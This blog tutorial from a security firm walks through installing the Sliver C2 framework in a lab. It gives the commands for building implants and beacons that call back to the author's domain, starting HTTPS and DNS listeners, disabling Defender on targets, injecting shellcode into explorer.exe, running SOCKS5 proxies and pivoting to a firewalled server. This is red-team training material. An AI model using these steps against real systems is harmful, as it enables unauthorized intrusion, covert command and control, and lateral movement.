Introduction to Sliver
By Red Siege | November 7, 2022
Around the time Tim decided he was going to give a Siegecast on selecting a C2, I finished building out a test Windows AD domain in my lab, and I thought it’d be good to mash those up and stand up a few different C2s in my lab and get a little more familiar with how they work. I decided to start with Sliver.
Sliver is a Bishop Fox project, and they describe it as an “open-source cross-platform adversary emulation/red team framework”. Written in Go, it targets Windows, Linux and MacOS, and possibly every other Go compiler target, although the maintainers don’t guarantee that.
Sliver supports multi-user operation, includes multiple C2 channels, all with encryption baked-in, pivoting, BOFs and more. The interface is text-based.
In this blog, I’ll be going over basic server and client installation and setup, building implants (Sliver payloads), and the basics of operating with Sliver. I won’t be covering AV/EDR evasion, hiding Sliver behind a CDN, Sliver scripting or any of Sliver’s add-ons (the armory). There’s a lot more to Sliver than I cover here, this is just a guide to getting started.
Sliver has very little in terms of prerequisites, and nearly all of its functionality will work with the single static server binary downloadable from the project’s Github release page.
The major exception to “it’s all in the binary” is cross-compiling. In order to build Windows shellcode, staged or dll binaries on a Linux server I needed to install MinGW using `sudo apt install mingw-w64`, and I make sure that Metasploit version 5 or greater was installed by running `msfconsole –version`.
Although the Sliver server can run on Windows and MacOS, the developers recommend running it on Linux. I set mine up on a virtual private server (VPS) with 2GB RAM and 25 GB of storage.
Sliver can be set up to run as a systemd service, but I’m just going to run it as a command-line program in a tmux session for ease of access to its command-line console.
I copied my sliver-server_linux binary to /opt/sliver and ran `chmod +x /opt/sliver/sliver-server_linux` to make it executable. I then started the server with `sudo /opt/sliver/sliver-server_linux`
As a single person using this server, I could operate from here, but in a more realistic scenario, there’s going to be a team sharing the server, so I enabled`multiplayer` mode.
To allow a user to connect to the Sliver server, I need to create a configuration file. The configuration file tells my client where to find the server and also contains the certificates Sliver uses to encrypt communications between the client and server. To create a new user, I entered the following command in the Sliver server console:
`new-operator –name justin –lhost 127.0.0.1`
The `lhost` value could be the public-facing IP of the Sliver server, but I chose `127.0.01` as my `lhost` for reasons that’ll become clear in a moment.
In a separate shell, I ran `sudo netstat -tlp` and saw that sliver was listening on port tcp/31337.
My intention was to run a Sliver client on a local VM, so I’m needed access to that port. I could’ve opened it up in the firewall, but that’d mean anyone could attempt to connect, and if someone finds a vulnerability in Sliver, that could cause a problem. From an opsec perspective, it would also make my server easier to fingerprint.
Instead of opening that port to the internet, I used an ssh port forward to access port 31337 on localhost. To do this, on my local Kali VM, I opened my .ssh/config file, and added the following block:
hostname <<server IP>
LocalForward 127.0.0.1:31337 127.0.0.1:31337
Adding those lines configured ssh to automatically forward port 31337 on my local machine to 127.0.0.1:31337 on the remote server anytime I run `ssh justin@sliver-c2`. The connection was encrypted by ssh (although Sliver encrypts connections by default), and the remote port on the server isn’t exposed to the internet. When the time came, I just needed to make sure that was reflected in my Sliver client configuration. To make sure that port forward was available, I ended my ssh session to the server and reconnected.
Like the Sliver server, the Sliver client is a single binary file, available from Sliver’s Github [release](https://github.com/BishopFox/sliver/releases) page. I downloaded it, and the config file I created on the server a moment ago, to my Kali VM.
To initialize the client I used the following command:
` ./sliver-client_linux import ./justin_127.0.0.1.cfg`
I then ran `./sliver-client_linux` to start the client. The first thing the client says is `Connecting to 127.0.0.1:31337′.`
On the server side, the console reported `Justin has joined the game`. My client had successfully connected to the server.
Sliver ships with out-of-the box support for a variety of communication channels, including HTTP(S), mtls, WireGuard and dns.
Sliver also provides two operating modes for implants: sessions and beacons. Session implants send heartbeat packets to the server every few seconds, but will otherwise execute commands more or less interactively. Beacons check in with the server at a configurable interval to get commands and return data. As a result, session implants are noisier by default. On the other hand, only session implants can host SOCKS5 proxies, C2 pivots, and port forwards. One can generate a beacon by using the `beacon` subcommand for `generate`, as I show below.
To generate an implant, one uses the `generate` command with flags to specify the C2 channel, server to call back to, target OS (Windows is the default) and whether to do a session implant (the default), or a beacon.
Sliver doesn’t really differentiate much between an HTTP implant and an HTTPS beacon. The actual C2 traffic inside each request is encrypted independently of the connection, so an implant may connect over HTTPS or HTTP and the channel will remain secure.
Sliver supports using multiple domains for a single implant. An operator can specify multiple domains as a comma-separated list (e.g. `–http attacker.com,offensiveops.com`). An operator can also use the domain value to specify path elements that the implant will prepend to each request. So, if an operator specifies `–http attacker.com/red/team`, all beacon requests will start with `<random subdomain>.attacker.com/red/team/.`
For this blog, I used the domain `ravenrockgifts.com`, which was left over from an old project that never went anywhere. I didn’t set the `–os` flag, because I was targeting a Windows machine, but I did use the `beacon` subcommand because I wanted a beacon connection, rather than a session.
Compiling the binary took a couple of minutes, and once it was done, I had my implant.
Before I executed my payload, I needed a listener or two. Before getting too far into this, I checked my server’s firewall to make sure the ports I plan on using are open. Sliver HTTP and HTTPS listeners are easy to start with the `http` and `https` commands, respectively. The `–domain <domain>` can be used to ensure the listener responds only to requests for that domain, rather than any HTTP request reaching the port. By default, the HTTPS listener generates a self-signed certificate, but Sliver is compatible with [Let’s Encrypt](https://letsencrypt.org). Taking advantage of this requires certbot to be installed (`apt install -y certbot` on Kali or Ubuntu). I started a HTTPS listener with Let’s Encrypt using: `https –domain ravenrockgifts.com –lets-encrypt`. When starting a listener with Let’s Encrypt, be sure to give the listener at least a minute or two to sort out the certbot process before trying to connect to it with an implant.
To start a HTTPS listener with my own certs instead of either Let’s Encrypt or self-signed certs, I could have run `https –domain ravenrockgifts.com –cert ./cert.pem –key ./key.pem`
Starting a HTTP listener is fairly simple, just `http –domain ravenrockgifts.com`. Starting an HTTPS listener will also open a listener on port 80 with a redirect to 443. An operator can list active listeners with the `jobs` command.
Understandably, DNS implants required a bit more DNS setup. To use a DNS implant, I started by creating an `A` record for `ns1.ravenrockgifts.com`. This was my nameserver for the DNS C2. Then I created a `NS` record, for `cdn.ravenrockgifts.com` and pointed it at `ns1.ravenrockgifts.com`, as shown below.
I generated the beacon using the `generate beacon` command, this time with the `–dns` flag: `generate beacon –dns cdn.ravenrockgifts.com. `. Note the provided domain name ends with a period (`.`). This is required to conform to the DNS protocol.
Starting the listener was similar to starting the HTTP(S) listener, I run `dns –domain cdn.ravenrockgifts.com.`. Again, I made sure the trailing `.` was on the domain name.
With a listener running I could move my payload to my target Windows workstation and execute it. For this section I’m worked primarily with my HTTP implant and listener. Another note here – the implant I created here is only using Sliver’s basic, built-in obfuscations, and will be readily detected by, for example, Microsoft Defender, so I disabled Defender on my target workstation so I can get execution and test some of the functionality.
I executed the implant, and nothing obvious happened on the target.
Shortly after execution, I got a callback notification on my client.
On the client, I ran the `beacons` command to see what beacons I had available. For session implants, I would do the same with the `sessions` command.
I could see that I have a beacon, connecting over HTTP(S), the username it was running as, OS, time since last check-in and time to next check-in. To interact with a beacon, and operator can run either`use beacons `, which presents the operator with a menu for selecting the beacon to make active. Or, to interact with a session, an operator would instead run `use sessions`. If the operator knows the ID of specific beacon or session I they want to interact with, they could also just run `use` with the that beacon or session’s ID.
Having selected a beacon, my prompt now included the name of the implant (in this case, `ENCHANTING_BEETLE`), and running `help` showed the commands available to run on the beacon. Sliver includes a variety of standard enumeration and shell-like commands, including `ps`, `netstat`, `cat`, and `whoami`. Sliver also includes a SOCKS5 proxy, assembly execution, process migration and other standard C2 implant tools.
I executed ‘netstat’, and Sliver informed me the task is queued, and eventually, that it’s completed and returned the results.
Sliver logs tasks that beacons execute, and an operator can retrieve a list of queued and completed commands with the `tasks` command.
I used the `tasks fetch <task ID>` command to retrieve the details of a specific task.
The `reconfig` command gives an operator the ability to modify a beacon’s operations, including changing its callback interval and jitter, and rename the beacon. To set a callback of 30 seconds with a five-second jitter, I executed `reconfig -i 30s -j 5s`. The beacon reconfigured itself on its next callback, and when next I checked the beacons list, I saw the changed callback time.
As I noted previously, beacons and sessions have different capabilities. Beacons tend to be quieter, but sessions allow an operator to do things like port forward, run SOCKS5 proxies and pivot inside a target environment.
The simplest way to start an interactive session from an operating beacon is to use the `interactive` command. By default, this will spawn a new session in the same process as the existing beacon, using the same connection method. So, by running `interactive` in a beacon using a HTTP(S) C2 channel, I spawned a new session using the same C2 channel.
I also generated an implant as shellcode, then injected it into a process. To generate an http implant as shellcode, I ran `generate –format shellcode –http ravenrockgifts.com`. I noted that the shellcode is saved into `/home/justin/SHOCKED_MOTOR.bin`
I used `ps` on the existing beacon to find the process ID of `explorer.exe` (5968, in this case), and then used `execute-shellcode -p 5968 /home/justin/SHOCKED_MOTOR.bin` Almost immediately, I got a callback with the new session.
Sliver session implants allow an operator to create a SOCKS5 proxy for tunneling traffic into a network through a beacon. To create a proxy, I selected the session I wanted to host the proxy using `sessions -i <session ID> ` or `use <session ID>` and then `socks5 start`. Sliver reports the port for the proxy, and I can start using it to browse (or otherwise access) internal resources.
To get the ID of the proxy I started, and to list out all available proxies, if I had more than one running, I ran `sock5`. When I was done with my proxy, I killed it by running `socks5 stop -i <id>`.
When attempting to navigate networks that are restricted from calling out to the internet, an operator can use pivots to create a chain of beacons passing C2 traffic back and forth. As with SOCKS5 proxies, pivots are only available on session implants, not beacons.
In this case, I had a machine in my lab, `rsl-srv-1.rslabs.lan` which I had firewalled off from the internet.
I started my pivot by opening a pivot port on one of my sessions using the `pivots tcp` command. I also ran the `ifconfig` command in that session because I needed the IP address of the host the pivot was listening on. As an aside, the operator needs to ensure that the pivot port is open in any host-based firewall on the machine hosting the pivot.
To create the pivot implant, I used `generate –tcp-pivot 192.168.1.132:9898`, referring to the IP and port of the pivot I opened shortly before.
I ran the resulting implant on the target server in my lab(as with the workstation, MS Defender was disabled on this machine to more easily allow me to demonstrate basic capabilities), and quickly received a session callback. Running the `sessions` command showed me the pivot session, including its routing through the session on the workstation.
I executed `use 4ddb3e70` and ran `info`, and I received back information on the server. I was free to operate on the server via my pivot on the workstation.
That’s the basics of installing and using Sliver. As I said in the beginning, there’s a lot more here. Go ahead and stand up your own server, start playing around with it, and then head over to our Discord to share your thoughts.
Justin Palk has more than 16 years of experience in IT and information security, and has worked in the academic, federal civilian government and health research sectors. He has held a variety of roles including system administrator, developer, auditor, assessment team lead and web application penetration tester. He regularly competes in CTFs in the U.S. and Europe.
GCIH, GWAPT, GPEN, GMOB, GDSA
Related StoriesView More
By Red Siege | November 3, 2022
By: Mike Saunders, Principal Security Consultant tldr: With experience comes the ability to adapt to challenges, and even experienced testers need to phone a friend now and then. In the […]Learn More
By Red Siege | July 6, 2022
by Alex Norman, Senior Security Consultant Nmap -T4 -iL targets.txt This is a very common scan string that many people use to get initial recon done on assessments and, to […]Learn More
By Red Siege | June 23, 2022
By: Justin Palk, Security Consultant This is part four of my series of blog posts on creating a windows domain for offensive security testing. In part 1, I stood up […]Learn More